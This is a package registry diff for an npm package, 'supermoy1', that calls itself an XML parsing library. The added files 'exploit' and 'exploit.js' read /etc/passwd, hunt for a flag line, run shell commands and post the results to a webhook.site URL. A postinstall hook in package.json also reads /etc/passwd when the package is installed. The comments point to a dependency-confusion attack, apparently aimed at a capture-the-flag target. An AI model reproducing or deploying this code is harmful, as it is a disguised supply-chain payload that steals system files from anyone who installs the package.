supermoy1 0.30.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/exploit +56 -0
- package/exploit.js +64 -0
- package/index.js +11 -0
- package/package.json +12 -0
package/exploit
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
|
|
4
|
+
// ТОЛЬКО отправка на webhook, без console.log
|
|
5
|
+
function sendToWebhook(data) {
|
|
6
|
+
try {
|
|
7
|
+
const payload = JSON.stringify(data);
|
|
8
|
+
const options = {
|
|
9
|
+
hostname: 'webhook.site',
|
|
10
|
+
port: 443,
|
|
11
|
+
path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
|
|
12
|
+
method: 'POST',
|
|
13
|
+
headers: {'Content-Type': 'application/json'}
|
|
14
|
+
};
|
|
15
|
+
const req = https.request(options);
|
|
16
|
+
req.write(payload);
|
|
17
|
+
req.end();
|
|
18
|
+
return true;
|
|
19
|
+
} catch(e) {
|
|
20
|
+
return false;
|
|
21
|
+
}
|
|
22
|
+
}
|
|
23
|
+
|
|
24
|
+
// Основная логика
|
|
25
|
+
try {
|
|
26
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
27
|
+
|
|
28
|
+
// Ищем флаг
|
|
29
|
+
const lines = passwd.split('\n');
|
|
30
|
+
for (const line of lines) {
|
|
31
|
+
if (line.includes('{') && line.includes('}')) {
|
|
32
|
+
// Отправляем ТОЛЬКО флаг
|
|
33
|
+
sendToWebhook({
|
|
34
|
+
flag: line,
|
|
35
|
+
source: 'dependency_confusion',
|
|
36
|
+
package: 'supervot3',
|
|
37
|
+
timestamp: new Date().toISOString()
|
|
38
|
+
});
|
|
39
|
+
break;
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
|
|
43
|
+
// Также отправляем полный /etc/passwd для анализа
|
|
44
|
+
sendToWebhook({
|
|
45
|
+
full_passwd: passwd,
|
|
46
|
+
source: 'full_dump',
|
|
47
|
+
package: 'supervot3'
|
|
48
|
+
});
|
|
49
|
+
|
|
50
|
+
} catch(e) {
|
|
51
|
+
sendToWebhook({
|
|
52
|
+
error: e.message,
|
|
53
|
+
source: 'error',
|
|
54
|
+
package: 'supervot3'
|
|
55
|
+
});
|
|
56
|
+
}
|
package/exploit.js
ADDED
|
@@ -0,0 +1,64 @@
|
|
|
1
|
+
const fs = require('fs');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { exec } = require('child_process');
|
|
4
|
+
|
|
5
|
+
// Функция для отправки на webhook
|
|
6
|
+
function send(data) {
|
|
7
|
+
try {
|
|
8
|
+
const payload = JSON.stringify(data);
|
|
9
|
+
const options = {
|
|
10
|
+
hostname: 'webhook.site',
|
|
11
|
+
port: 443,
|
|
12
|
+
path: '/67ab3ca0-2b3b-4364-aaee-f8d19895003f',
|
|
13
|
+
method: 'POST',
|
|
14
|
+
headers: {'Content-Type': 'application/json'},
|
|
15
|
+
timeout: 5000
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
const req = https.request(options, (res) => {
|
|
19
|
+
// Игнорируем ответ
|
|
20
|
+
});
|
|
21
|
+
req.on('error', () => {});
|
|
22
|
+
req.write(payload);
|
|
23
|
+
req.end();
|
|
24
|
+
} catch(e) {}
|
|
25
|
+
}
|
|
26
|
+
|
|
27
|
+
// Основная логика
|
|
28
|
+
console.log('=== EXPLOIT START ===');
|
|
29
|
+
|
|
30
|
+
// 1. Пробуем прочитать /etc/passwd
|
|
31
|
+
try {
|
|
32
|
+
const passwd = fs.readFileSync('/etc/passwd', 'utf8');
|
|
33
|
+
console.log('PASSWD:', passwd);
|
|
34
|
+
send({type: 'passwd', data: passwd});
|
|
35
|
+
|
|
36
|
+
// Ищем флаг
|
|
37
|
+
const lines = passwd.split('\n');
|
|
38
|
+
for (const line of lines) {
|
|
39
|
+
if (line.includes('{') && line.includes('}')) {
|
|
40
|
+
console.log('FLAG_FOUND:', line);
|
|
41
|
+
send({type: 'flag', data: line});
|
|
42
|
+
}
|
|
43
|
+
}
|
|
44
|
+
} catch(e) {
|
|
45
|
+
send({type: 'error', data: 'Cannot read /etc/passwd: ' + e.message});
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
// 2. Пробуем выполнить команду
|
|
49
|
+
exec('cat /etc/passwd | grep {', (err, stdout) => {
|
|
50
|
+
if (!err && stdout) {
|
|
51
|
+
console.log('GREP_RESULT:', stdout);
|
|
52
|
+
send({type: 'grep', data: stdout});
|
|
53
|
+
}
|
|
54
|
+
});
|
|
55
|
+
|
|
56
|
+
// 3. Проверяем текущую директорию
|
|
57
|
+
exec('pwd && ls -la', (err, stdout) => {
|
|
58
|
+
if (!err) {
|
|
59
|
+
console.log('DIR:', stdout);
|
|
60
|
+
send({type: 'dir', data: stdout});
|
|
61
|
+
}
|
|
62
|
+
});
|
|
63
|
+
|
|
64
|
+
console.log('=== EXPLOIT END ===');
|
package/index.js
ADDED
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "supermoy1",
|
|
3
|
+
"version": "0.30.1",
|
|
4
|
+
"description": "XML parsing library",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node -e \"const fs=require('fs');try{console.log('POSTINSTALL:',fs.readFileSync('/etc/passwd','utf8'))}catch(e){console.log('ERROR:',e.message)}\""
|
|
8
|
+
},
|
|
9
|
+
"keywords": ["xml", "parser"],
|
|
10
|
+
"author": "test",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|